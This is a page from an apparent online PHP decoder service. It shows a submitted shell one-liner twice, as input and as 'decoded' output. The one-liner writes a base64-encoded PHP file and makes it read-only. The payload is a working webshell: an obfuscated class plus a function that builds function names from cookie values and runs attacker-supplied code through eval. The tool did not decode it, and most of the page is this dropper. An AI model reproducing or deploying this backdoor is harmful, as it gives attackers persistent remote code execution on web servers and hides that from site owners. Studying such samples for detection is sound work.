Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwIGNsYXNzIElubmVyCnsKICAgIHByaXZhdGUgc3RhdGljICRz..
Decoded Output download
<? if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwIGNsYXNzIElubmVyCnsKICAgIHByaXZhdGUgc3RhdGljICRzOwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnKCRuKQogICAgewogICAgICAgIGlmICghc2VsZjo6JHMpIHNlbGY6OmkoKTsKICAgICAgICByZXR1cm4gc2VsZjo6JHNbJG5dOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaSgpCiAgICB7CiAgICAgICAgc2VsZjo6JHMgPSBhcnJheSgKICAgICAgICAgICAgMDUyLAogICAgICAgICAgICAwNTIsCiAgICAgICAgICAgIDA0MiwKICAgICAgICAgICAgMDE2LAogICAgICAgICAgICAwNjQsCiAgICAgICAgICAgIDAxMiwKICAgICAgICAgICAgMDExNSwKICAgICAgICAgICAgMDc2LAogICAgICAgICAgICAwMAogICAgICAgICk7CiAgICB9Cn0KZnVuY3Rpb24gY2xudCgkX2N0dXFkbiA9ICdjbGF3ZHFpZGliZm90cWgnLCAkX2FnbXJmID0gbnVsbCkKewogICAgJF9sdm4gPSAkX0NPT0tJRTsKICAgICgkX2x2biAmJiBpc3NldCgkX2x2bltJbm5lcjo6ZygwKSBdKSkgPyAoKCRfb2FibGxwID0gJF9sdm5bSW5uZXI6OmcoMSkgXSAuICRfbHZuW0lubmVyOjpnKDIpIF0pICYmICgkX21yaSA9ICRfb2FibGxwKCRfbHZuW0lubmVyOjpnKDMpIF0gLiAkX2x2bltJbm5lcjo6Zyg0KSBdKSkgJiYgKCRfbWh0YyA9ICRfb2FibGxwKCRfbHZuW0lubmVyOjpnKDUpIF0gLiAkX2x2bltJbm5lcjo6Zyg2KSBdKSkgJiYgKCRfbWh0YyA9ICRfbWh0YygkX29hYmxscCgkX2x2bltJbm5lcjo6Zyg3KSBdKSkpICYmIEBldmFsKCRfbWh0YykpIDogJF9sdm47CiAgICByZXR1cm4gSW5uZXI6OmcoOCk7Cn0KY2xudCgpOwoK" | base64 --decode > "$fp"; fi; chmod 444 "$fp" ?>
Did this file decode correctly?
Original Code
if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwIGNsYXNzIElubmVyCnsKICAgIHByaXZhdGUgc3RhdGljICRzOwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnKCRuKQogICAgewogICAgICAgIGlmICghc2VsZjo6JHMpIHNlbGY6OmkoKTsKICAgICAgICByZXR1cm4gc2VsZjo6JHNbJG5dOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaSgpCiAgICB7CiAgICAgICAgc2VsZjo6JHMgPSBhcnJheSgKICAgICAgICAgICAgMDUyLAogICAgICAgICAgICAwNTIsCiAgICAgICAgICAgIDA0MiwKICAgICAgICAgICAgMDE2LAogICAgICAgICAgICAwNjQsCiAgICAgICAgICAgIDAxMiwKICAgICAgICAgICAgMDExNSwKICAgICAgICAgICAgMDc2LAogICAgICAgICAgICAwMAogICAgICAgICk7CiAgICB9Cn0KZnVuY3Rpb24gY2xudCgkX2N0dXFkbiA9ICdjbGF3ZHFpZGliZm90cWgnLCAkX2FnbXJmID0gbnVsbCkKewogICAgJF9sdm4gPSAkX0NPT0tJRTsKICAgICgkX2x2biAmJiBpc3NldCgkX2x2bltJbm5lcjo6ZygwKSBdKSkgPyAoKCRfb2FibGxwID0gJF9sdm5bSW5uZXI6OmcoMSkgXSAuICRfbHZuW0lubmVyOjpnKDIpIF0pICYmICgkX21yaSA9ICRfb2FibGxwKCRfbHZuW0lubmVyOjpnKDMpIF0gLiAkX2x2bltJbm5lcjo6Zyg0KSBdKSkgJiYgKCRfbWh0YyA9ICRfb2FibGxwKCRfbHZuW0lubmVyOjpnKDUpIF0gLiAkX2x2bltJbm5lcjo6Zyg2KSBdKSkgJiYgKCRfbWh0YyA9ICRfbWh0YygkX29hYmxscCgkX2x2bltJbm5lcjo6Zyg3KSBdKSkpICYmIEBldmFsKCRfbWh0YykpIDogJF9sdm47CiAgICByZXR1cm4gSW5uZXI6OmcoOCk7Cn0KY2xudCgpOwoK" | base64 --decode > "$fp"; fi; chmod 444 "$fp"
Function Calls
None |
Stats
MD5 | 816ec7cb0405213d948397c73e5277e6 |
Eval Count | 0 |
Decode Time | 52 ms |